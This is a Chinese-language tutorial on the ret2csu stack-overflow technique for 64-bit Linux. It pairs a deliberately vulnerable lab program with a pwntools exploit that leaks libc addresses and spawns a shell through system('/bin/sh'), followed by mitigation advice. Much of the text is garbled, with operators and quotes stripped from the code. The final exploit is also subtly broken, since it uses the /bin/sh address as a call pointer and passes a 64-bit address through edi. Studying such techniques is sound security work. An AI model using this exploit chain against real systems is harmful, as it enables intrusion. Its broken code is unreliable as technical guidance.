64位Linux栈溢出利用:return-to-csu技术原理与实践 在64位程序栈溢出漏洞利用的系列文章中我们已经探讨了多种技术方法。本文将重点介绍return-to-csu技术这是2018年BlackHat Asia上分享的一种绕过ASLR的新技术特别适用于64位Linux环境下的漏洞利用场景。1. 64位栈溢出漏洞利用核心能力速览能力项说明目标架构x86-64 (64位Linux程序)主要技术return-to-csu (ret2csu)适用场景绕过ASLR、NX保护控制多个寄存器参数技术特点利用libc_csu_init中的通用gadget片段依赖条件非PIE可执行文件存在栈溢出漏洞优势可控制rdx、rsi、edi等关键参数寄存器限制rdi只能写入低32位适合文件描述符参数2. return-to-csu技术原理分析return-to-csu技术的核心思想是利用GCC编译链在可执行文件中自动插入的__libc_csu_init函数中的通用代码片段。这些代码片段可以让我们控制多个关键寄存器为后续的函数调用做准备。2.1 __libc_csu_init函数结构分析通过objdump反汇编可以看到__libc_csu_init函数包含两个关键代码片段$ objdump -d ./victim_nx | grep __libc_csu_init: -A35反汇编结果显示的关键片段; 片段1 - 寄存器设置部分 400660: 4c 89 ea mov rdx,r13 400663: 4c 89 f6 mov rsi,r14 400666: 44 89 ff mov edi,r15d 400669: 41 ff 14 dc call QWORD PTR [r12rbx*8] ; 片段2 - 寄存器恢复部分 40067a: 5b pop rbx 40067b: 5d pop rbp 40067c: 41 5c pop r12 40067e: 41 5d pop r13 400680: 41 5e pop r14 400682: 41 5f pop r15 400684: c3 ret2.2 技术实现原理return-to-csu技术的巧妙之处在于将这两个片段组合使用首先跳转到片段2通过精心构造的栈布局连续pop多个寄存器为片段1准备参数然后跳转到片段1利用已经设置的寄存器值控制rdx、rsi、edi并间接调用目标函数这种组合使得我们能够在只有有限控制权的情况下精确设置函数调用所需的多个参数。3. 环境准备与实验设置3.1 实验程序准备我们使用一个简单的存在栈溢出漏洞的程序作为实验目标// victim.c #include stdio.h int foo() { char buf[10]; scanf(%s, buf); printf(hello %s\n, buf); return 0; } int main() { foo(); printf(good bye!\n); return 0; }3.2 编译选项设置为了便于实验我们使用特定的编译选项禁用保护机制$ gcc victim.c -o victim_nx -g -fno-stack-protector -no-pie编译选项说明-fno-stack-protector禁用栈保护-no-pie禁用位置无关可执行文件-g包含调试信息3.3 必要工具安装实验需要以下工具gdb调试器objdump反汇编工具python用于生成payload相关ROP查找工具如ROPgadget4. return-to-csu利用实战4.1 确定漏洞利用点首先通过测试确定溢出点$ python -c print A*18 B*8 | ./victim_nx通过gdb调试确定精确的溢出偏移量确认我们可以控制返回地址。4.2 构造ROP链return-to-csu利用的关键是精心构造ROP链栈布局规划 [填充数据] * 18 [片段2地址] # 跳转到pop链 [rbx值] # 设置为0用于后续计算 [rbp值] # 设置为1用于通过比较检查 [r12值] # 目标函数指针地址 [r13值] # 设置rdx参数 [r14值] # 设置rsi参数 [r15值] # 设置edi参数低32位 [片段1地址] # 跳转到mov链 [填充数据] * 7 # 片段1执行后的栈调整 [目标函数地址] # 实际要调用的函数4.3 具体实现步骤4.3.1 查找gadget地址# 查找片段1和片段2的准确地址 $ objdump -d victim_nx | grep -A5 -B5 mov rdx,r134.3.2 设置函数参数对于需要调用write或send函数泄露libc地址的场景# Python payload生成示例 pop_rbx_rbp_r12_r13_r14_r15 0x40067a # 片段2地址 mov_rdx_r13_mov_rsi_r14_mov_edi_r15d 0x400660 # 片段1地址 # 设置write函数参数fd1, buf某个GOT条目, count8 payload bA*18 payload p64(pop_rbx_rbp_r12_r13_r14_r15) payload p64(0) # rbx payload p64(1) # rbp payload p64(got_entry) # r12 - 要调用的函数指针 payload p64(8) # r13 - rdx (count) payload p64(got_address) # r14 - rsi (buf) payload p64(1) # r15 - edi (fd) payload p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15d) payload b\x00*56 # 填充片段1需要的栈空间4.3.3 计算libc基地址通过泄露的GOT条目值可以计算出libc的基地址# 从泄露的地址计算libc基地址 leaked_addr u64(leaked_data) libc_base leaked_addr - libc_offset # 计算system和/bin/sh的真实地址 system_addr libc_base system_offset binsh_addr libc_base binsh_offset5. 完整漏洞利用示例5.1 利用write函数泄露libc#!/usr/bin/env python3 from pwn import * context.arch amd64 context.log_level debug # 启动目标程序 p process(./victim_nx) # gadget地址 pop_rbx_rbp_r12_r13_r14_r15 0x40067a mov_gadget 0x400660 # 目标函数地址 write_plt 0x400490 # writeplt main_addr 0x4005a0 # main函数用于重新执行 # 构造ROP链泄露write的真实地址 payload bA*18 payload p64(pop_rbx_rbp_r12_r13_r14_r15) payload p64(0) # rbx payload p64(1) # rbp payload p64(1) # r12 - write的GOT条目示例 payload p64(8) # r13 - rdx payload p64(0x600000) # r14 - rsi可读地址 payload p64(1) # r15 - edi payload p64(mov_gadget) payload b\x00*56 payload p64(main_addr) # 返回main重新执行 p.sendline(payload) leaked_data p.recv(8)5.2 获取shell在获取libc基地址后构造最终的exploit# 计算实际地址 libc_base u64(leaked_data) - 0x0f7250 # write在libc中的偏移 system_addr libc_base 0x045390 # system在libc中的偏移 binsh_addr libc_base 0x18ce57 # /bin/sh字符串在libc中的偏移 # 最终payload final_payload bA*18 final_payload p64(pop_rbx_rbp_r12_r13_r14_r15) final_payload p64(0) # rbx final_payload p64(1) # rbp final_payload p64(binsh_addr) # r12 - /bin/sh地址 final_payload p64(0) # r13 - rdx final_payload p64(0) # r14 - rsi final_payload p64(binsh_addr) # r15 - edi final_payload p64(mov_gadget) final_payload b\x00*56 final_payload p64(system_addr) # 调用system p.sendline(final_payload) p.interactive()6. 技术优势与局限性分析6.1 技术优势通用性强几乎所有GCC编译的64位Linux程序都包含__libc_csu_init功能强大可以同时控制多个关键参数寄存器绕过保护有效对抗ASLR和NX保护机制稳定性高基于程序本身的代码片段可靠性好6.2 局限性rdi限制只能设置edi低32位对于需要完整64位地址的情况可能不够依赖非PIE需要可执行文件不是PIE编译的栈布局复杂需要精确控制栈布局调试难度较大多次交互通常需要多次泄露和攻击才能完成利用7. 防护措施与缓解方案7.1 编译时防护# 启用所有保护机制 gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now -Wl,-z,relro victim.c -o victim_secure7.2 运行时防护启用ASLRecho 2 /proc/sys/kernel/randomize_va_space使用Stack Canaries检测栈破坏限制程序权限使用最小权限原则7.3 代码安全实践// 安全的输入处理 #include stdio.h int foo() { char buf[10]; if (fgets(buf, sizeof(buf), stdin) NULL) { return -1; } printf(hello %s\n, buf); return 0; }8. 与其他技术的对比分析8.1 ret2csu vs 传统ROP特性ret2csu传统ROPgadget来源固定位置libc_csu_init分散在代码段参数控制可控制多个寄存器通常需要多个gadget可靠性高通用存在依赖具体程序利用复杂度中等可能很复杂8.2 ret2csu vs ret2libc特性ret2csuret2libcASLR绕过需要泄露需要泄露适用场景参数控制复杂时参数简单时代码依赖依赖程序本身依赖libc9. 实战技巧与注意事项9.1 调试技巧# 使用gdb调试ROP链 gdb ./victim_nx b *0x40067a # 在pop链开始处断点 r payload_file9.2 常见问题解决段错误检查栈布局是否正确gadget地址是否准确参数错误确认寄存器设置符合函数调用约定地址错误验证libc偏移量是否正确9.3 自动化工具使用# 使用ROPgadget查找gadget ROPgadget --binary victim_nx | grep pop rbx10. 总结与延伸学习return-to-csu技术是64位Linux环境下栈溢出利用的重要方法它利用了GCC编译器的特性提供了一种相对通用的ROP利用方式。掌握这一技术对于深入理解现代漏洞利用技术具有重要意义。进一步学习方向研究其他通用gadget发现方法学习对抗完整保护机制的综合利用技术了解内核态漏洞利用技术研究漏洞利用的检测和防护方法通过本文学到的技术应该仅用于安全研究和防御目的在实际渗透测试中要确保获得合法授权遵守相关法律法规。